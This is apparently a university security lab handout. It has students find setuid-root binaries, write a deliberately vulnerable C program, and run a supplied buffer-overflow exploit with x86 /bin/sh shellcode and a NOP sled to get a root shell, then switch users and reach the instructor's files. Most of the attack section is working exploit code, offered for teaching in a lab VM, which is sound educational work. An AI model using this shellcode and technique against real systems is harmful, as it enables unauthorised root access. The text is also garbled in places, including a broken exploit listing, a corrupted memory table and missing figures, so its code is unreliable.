Part 1: A fun new game

We’ve just heard through the midshipman rumor mill that there are games on this VM! That sounds like more fun than working on a security exercise, so let’s check it out! We want to play a game based on “Space Invaders” called nInvaders.

Enter:

nInvaders

**Question 1:** Were you able to play the game? Why or why not? (Hint use `ls -l /usr/local/bin/nInvaders` command to examine the permissions of nInvaders)

We are disappointed to learn that NO! We cannot play the game. It belongs to root and we as members of the public do not have execute permissions. But, remember our new friend from Chapter 9 sudo? Sudo allows us to execute one command as root. Try again to run this program using sudo by entering:

```
sudo nInvaders
```

**Question 2:** Using sudo were you able to play the game?

Blast! It seems root wants to keep the games to his or her self. The only way to play nInvader is to be root. Oh well… onto the Security Exercise.

Part 2: Finding a target!

We now enter the mindset of a hacker. We have learned about the malicious buffer overflow and are ready to apply our skills and are curious about the results we may obtain.

The ideal target and conditions for us to attempt to exploit is:

- An executable that is owned by root
- The executable has the setuid flag set
- The program is vulnerable to a buffer overflow

Why? The lethality of the exploit here comes from the setuid flag. Remember when an executable program has the setuid flag set, then whenever the program is executed, it will behave as though it were being executed by the owner. So if root owns a program with the setuid flag set and that program is attacked with a buffer overflow, the machine language that is executed behaves as if it were being executed by root! And root is all powerful!

Enter the command:

```
sudo find / -user root -perm /u+s -exec ls -l {} +
```

**Question 3:** What do you see when you enter this command? Are there multiple files which meet our criteria?

The results tell us that there are many executable files on our computer which meet the first two criteria. However it is more challenging to ensure that a file is vulnerable to a buffer overflow. We have a few options:

- Reverse engineer the machine language and work back to the assembly language or C code
- Use the debugger to step through the execution of a program.

---

1 Space Invaders is a 1980’s cult classic computer game!
Chapter 10: A Real Buffer Overflow

- Examine the C code if available.
- Fuzz testing as described in Section 1.2.2

These are all big tasks for us, but all in a day’s work for an experienced hacker. We are going to choose a different route here and write our own vulnerable C program and then transfer ownership to root. This is skipping ahead a bit and taking advantage of our sudo privileges, which we know aren’t realistic for all users to have. In this case, we use sudo help us arrive at our learning objective and bypass the reverse engineering aspect.

Part 3: A Vulnerable Program

We create a vulnerable program in our work directory named vuln.c. Enter:

```
nano vuln.c
```

And write the following program:

```c
#include <stdio.h>
#include <string.h>

void func( char *name)
{
    char buffer[100];
    strcpy(buffer, name);
    printf("Welcome, %s\n", buffer);
}

int main(int argc, char *argv[])
{
    func(argv[1]);
    return 0;
}
```

Compile the program:

```
gcc -o vuln.exe vuln.c
```

What does this program do? Our program begins executing at `main` and on line 13 has a function call which uses the command line argument `argv[1]` as the function argument

Within the function, on line 6 a function variable `buffer` is declared and on line 7 the value of the function argument is placed into `buffer`. Line 8 prints the string stored in the variable `buffer`.

Confirm the program is working correctly by executing it with the following command:

```
./vuln.exe "Midn Smith"
```

So our command line argument was used as the argument to the function call, was moved into the `char` array `buffer` and displayed to the screen with the `printf` statement on line 8. With our program’s functionality confirmed, we now have a program that is vulnerable to a buffer overflow (since `argv[1]` cannot exceed 99 characters). Transfer ownership of `vuln.exe` to `root` user by entering:

```
```

Note: This program does not have an exit statement. If you execute `vuln.exe` without `argv[1]` you will have a segmentation fault.
Chapter 10: A Real Buffer Overflow

```
sudo chown root:root ./vuln.exe
```
and set the `setuid` permission on this program by entering:

```
sudo chmod u+s vuln.exe
```
Verify that `root` owns the program and that the `setuid` permission is enabled by entering:

```
ls -l vuln.exe
```
We now have a vulnerable program to exploit that:

- Is an executable that is owned by `root`
- Has the `setuid` flag set
- Is vulnerable to a buffer overflow

---

**A SUDO Intermission**

In light of recent cyber security threats, ITSD is clamping down on administrative rights. They are following the practice mentioned in Section 3.3 known as system hardening. They are moving to restrict user’s permissions for their own protection and you no long have `sudo` permissions. **THIS MEANS YOU MAY NO LONGER ENTER ANY COMMAND PRECEEDED BY SUDO.**

---

**Part 4: Shellcode**

Shellcode is a list of carefully crafted instructions that can be executed once the code is injected into a running application – like a virus inside a cell – but it isn’t really a standalone executable program. Shellcode is considered exploit code or exploit payload. You may be surprised to know that we can write a C program with machine language (i.e. shellcode) contained within. In a C program it is possible to enter machine language by simply proceeding each byte in hexadecimal with `\x` for example. Written in a C program `\x31` will, when compiled, be the machine language instruction `31` in the executable file.

A simple example of a C program that contains shellcode has been placed in your EC310code folder. From your *home directory*, copy this file to your work directory by entering:

```
cp ec310code/sx10.c work
```
Change to your work directory and compile and run the program by entering:

```
cd work
gcc -o sx10.exe sx10.c
./sx10.exe
```
**Question 4:** What happens when the program is executed? You might need to consult Google or a neighbor to explain the meaning of what you see on the screen. Do that!

Return to your terminal by entering:

```
exit
```
Use `nano` to examine the program.

```
nano sx10.c
```
Chapter 10: A Real Buffer Overflow

The program looks as follows:

1. `char shellcode[] =`  
2. "\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"  
3. "\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"  
4. "\xe1\xcd\x80";  
5.  
6. `int main()`  
7. `{  
8.    void (*fp) ( void ); // define a function pointer  
9.    fp = ( void* )shellcode; // point the fp to our shellcode  
10.   fp(); // call function  
11. }`

**Question 5:** Looking at the C program can you make an educated guess as to which lines in the program are responsible for the result that appears on the screen, sh-3.2$?

If you answered the shellcode for Question 5 you are correct. In this example it seems that the shellcode instructions are machine language instructions to open the command prompt. The individual instructions of the shellcode can vary widely and have different effects. Again, our goal with using a buffer overflow to inject shellcode is that after the instructions of the called function are done executing, the executable code that the adversary placed on the stack will begin executing, *whatever that may be!*

---

**Part 5: Crafting an Exploit**

A C program that is capable of exploiting a program susceptible to a buffer overflow (like `vuln.c`) has been placed in your `ec310code` directory. This program uses a few techniques that we haven’t seen yet, but we will walk through the details and realize that as a hacker, this wouldn’t be too difficult to write ourselves. Remember, on your VM as midshipman you have the ability to write new C programs, compile C programs and execute C programs. These are all permissions that a basic user could expect to have.

Let’s looks at the code! The program is aptly named `overflow_exploit.c`. Copy it from the `ec310code` folder to your work directory by entering (remember you must be in your home directory to do this!):

```
cp ec310code/overflow_exploit.c work
cd work
```

Let’s examine the program with `nano` and see what is happening.

```
nano overflow_exploit.c
```

```c
1. #include <stdio.h>  
2. #include <stdlib.h>  
3. #include <string.h>  
4. char shellcode[] =  
5. "\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"  
6. "\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"  
7. "\xe1\xcd\x80";  
8.  
9. int main(int argc, char *argv[])  
10. {  
11.    unsigned int i, *ptr, ret, offset=200;  
12.    char *buffer;  
13.    char command[200];  
14.    bzero(command, 200);  
15.    strcpy(command, ".\vuln.exe \" ");  
16.    buffer = command + strlen(command);  
17.}```
20. ret = (unsigned int) &i - offset;
21.
22. for(i=0; i < 140; i=i+4)
23.   *((unsigned int *)(buffer+i)) = ret;
24. memset(buffer, 0x90, 40);
25. memcpy(buffer+40, shellcode, sizeof(shellcode)-1);
26.
27. strcat(command, "\"");
28.
29. system(command); // run exploit
30.
31. }

Lines 4-7 look identical to Line 1-4, the shellcode in part three. This means that when our buffer overflow attack is successful the command prompt should open! That’s the code we plan to inject!

On line 14 the variable command is declared as an array of type char with 200 elements. We are going to use the 200 bytes available to the array command to construct our exploit.

From Section 1.2 we know the required elements of the exploit are the shellcode and a malicious return address. The malicious return address will overwrite the return address of the exploited function redirecting eip to the address of the exploit on the stack.

To increase our chances of success we choose to utilize a NOP sled and repeated malicious return address introduced in Section 1.3. The NOP sled lets the hacker be a little bit off with the return address. The return address just has to point anywhere within the NOP sled. Otherwise the return address would need to be the precise address of the first byte of the shellcode. We will repeat the malicious return address at the end of the shellcode to increase our chances of overwriting the actual return address on the stack. The body of our exploit will look as follows:

```
After line 14 the content of command is all garbage values. Line 15 bzero(command, 200); zeroes out the memory in command. Now all 200 bytes of command are filled with NULL terminators (hex value 0x00).
```
Line 17 uses `strcpy` to move “./vuln.exe” (the name of the file we wish to exploit) into the start of `command`. This is important because this is what we would enter from the command prompt to run the program. Since the argument to `vuln.exe` (that will contain the exploit) needs a double quote around it, this line and line 27 are used to enclose the argument in double quotes.

Line 18 assigns `buffer` (another program variable, which is a pointer) the value of `command`, the address of the first bytes of `command` (that is, `&command[0]`), plus the length of the string in `command`.

At the end of line 18 the memory for `command` looks as follows:

<p>| | | | | |</p>
<table>
<thead>
<tr>
<th></th>
<th></th>
<th></th>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>.</td>
<td>/</td>
<td>v</td>
<td>u</td>
<td></td>
</tr>
<tr>
<td>l</td>
<td>n</td>
<td></td>
<td>e</td>
<td></td>
</tr>
</tbody>
</table>
| x     |   | s | p | c
| 00    | 00| 00| 00|
| 00    | 00| 00| 00|
| 00    | 00| 00| 00|
| 00    | 00| 00| 00|
| 00    | 00| 00| 00|
| 00    | 00| 00| 00|
| 00    | 00| 00| 00|
| 00    | 00| 00| 00|
| 00    | 00| 00| 00|
| 00    | 00| 00| 00|
| 00    | 00| 00| 00|
| 00    | 00| 00| 00|
| 00    | 00| 00| 00|
| 00    | 00| 00| 00|
| 00    | 00| 00| 00|
| 00    | 00| 00| 00|
| 00    | 00| 00| 00|
| 00    | 00| 00| 00|
| 00    | 00| 00| 00|
| 00    | 00| 00| 00|
| 00    | 00| 00| 00|
| 00    | 00| 00| 00|
| 00    | 00| 00| 00|
| 00    | 00| 00| 00|
| 00    | 00| 00| 00|
| 00    | 00| 00| 00|
| 00    | 00| 00| 00|
| 00    | 00| 00| 00|
| 00    | 00| 00| 00|
| 00    | 00| 00| 00|
|       |   |   |   |   |

Line 20 calculates the value of the malicious return address based on the address of the first program variable `i` and the value of `offset` (200) which is the size of `command` in bytes. This is just one way to create a malicious return address. If we construct our exploit and it doesn’t work as expected we might choose to change this offset value and try again.
The `for` loop in lines 22 and 23 fills next 140 bytes of `command` with multiple copies of the malicious return address, starting at the address `buffer` holds. At the conclusion of Line 23 this is what the memory for `command` looks like:

Line 24 builds a NOP sled in the first 40 bytes of `buffer` and line 25 moves the shellcode of the exploit into memory immediately following the NOP sled. Finally line 27 closes the argument to `vuln.exe` (again the argument is the exploit) with double quotes. At the conclusion on line 27 this is what the memory for `command` looks like:
What is noteworthy here? If this text string were entered from the command line `argv[0]` would be `"./vuln.exe"` and `argv[1]` would be our exploit! The NOP sled, shellcode and repeated malicious return address are all neatly packaged together.

Line 29 of `overflow_exploit.c` uses the `system` command. The `system` command allows us to run a Linux command from inside a C program. In this case, the Linux command will be to run `vuln.exe` with the exploit as its argument. This means that when the `overflow_exploit.exe` is executed it will provide the same result as if the user entered:

```
./vuln.exe "EXPLOIT!"
```
Chapter 10: A Real Buffer Overflow

Think back to the vulnerable C program we created in Part 2 (repeated below)

1. `#include <stdio.h>`
2. `#include <string.h>`
3. 
4. `void func( char *name)`
5. `{`
6. `    char buffer[100];`
7. `    strcpy(buffer, name);`
8. `    printf("Welcome %s\n", buffer);`
9. `}`
10. 
11. `int main(int argc, char *argv[])`
12. `{`
13. `    func(argv[1]);`
14. `    return 0;`
15. `}`

**Question 6:** How many characters could safely be stored in `buffer`?

**Question 7:** How many characters would it take to completely overwrite the return address on the stack?

When `vuln.exe` is run the exploit is loaded as `argv[1]` into `buffer` and beyond! Then the stack frame for `vuln.c` should look something like what follows:

This is speculation at this point. We have constructed a malicious return address that we believe will work. And we are assuming that the stack frame from the function `func` has no additional padding (no unused memory between variables on the stack). Shall we see if our exploit works? Compile and execute `overflow_exploit.c` by entering:

```
 gcc -o overflow_exploit.exe overflow_exploit.c
./overflow_exploit.exe
```

**Question 8:** What was the result? Is this what you expected?

Your result should look something like this:
Chapter 10: A Real Buffer Overflow

Question 9: Does hexadecimal 0x90 have an ASCII character equivalent?

What appears after “Welcome” is a scrambled mess! What are we looking at? Line 8 in vuln.c tells us that the printf statement is trying to read a string from the start of buffer. This means that everything currently loaded in memory for buffer will be displayed as an ASCII character to the screen. If the hex value currently in memory doesn’t have an ASCII equivalent it will resolve to a “?” on the screen.

We expect that if our buffer overflow attack was successful and our shellcode executed that the command prompt would appear as well. Press

<enter>

a few times on your keyboard. It looks like the command prompt has opened?

Question 10: Is this command prompt the same command prompt from question 2? Did our exploit work?

More importantly, what’s the big deal? Why do we have two new programs and lots of coding to run the shellcode that opens a command prompt when we already had gotten a shell command prompt from sx10.c? Enter:

whoami

Question 11: What is the result when you enter whoami? Is this result expected?

Part 6: The impact of an overflow

We have confirmed that the buffer overflow happened and that the command prompt has opened. But now you’re root!!! How did this happen?

This goes back to the vulnerable file we are exploiting, vuln.exe. Remember that it is owned by root and has the setuid flag set. From Chapter 9:

“If an executable program has the setuid flag set, then whenever the program is executed, it will behave as though it were being executed by the owner.”

What this means is that because vuln.exe has the setuid flag set, when the buffer overflow is successful and the shellcode is executed, it opens a command prompt as if the owner (root) gave the command! And suddenly you have root level access!

What can you do with your newly gained root permissions? In Security Exercise 9 when you wanted to switch users the su command required a password. We didn’t have the password for all other users and bypassed this obstacle with sudo. But ITSD took away our sudo permissions, so sudo is gone!!!!!!

Try to switch users to joe by entering:

su joe

Question 12: Were you successful? Were you prompted to enter a password?

You’re now joe! This is significant. As a basic user we can write and compile new programs. But this process is being exploited by you as an attacker by writing a program that targets vulnerable programs on the host, programs you have the rights to execute! As an attacker you took advantage of the permissions you have to exploit the host without ever needing the sudo command. Now you can be root.
Chapter 10: A Real Buffer Overflow

Remember nInvaders from the start of the Security Exercise? Now that we are root, let’s try to play again. Enter:

```
Exit
Export TERM=xterm
nInvaders
```

**Question 13:** Were you able to play nInvaders? What was your high score?

The “so what” factor may not be obvious at first here. A buffer overflow which gives us root access to the host is like a thief picking a lock. Perhaps you will simply switch users and run the programs from SX9 getting other mids in trouble by leaving mean comments. Maybe you’ll spend the rest of the class playing games… Don’t forget another user on the host machine is the instructor! With root permissions you would be able to view and edit your instructors files… gradebooks, exams, who knows what else!

**Question 14:** What other things might you be able to do as root? List 3 examples.
Security Exercise 10 Answer Sheet

Name:

Question 1:

Question 2:

Question 3:

Question 4:

Question 5:

Question 6:

Question 7:

Question 8:

Question 9:

Question 10:

Question 11:

Question 12:

Question 13:

Question 14: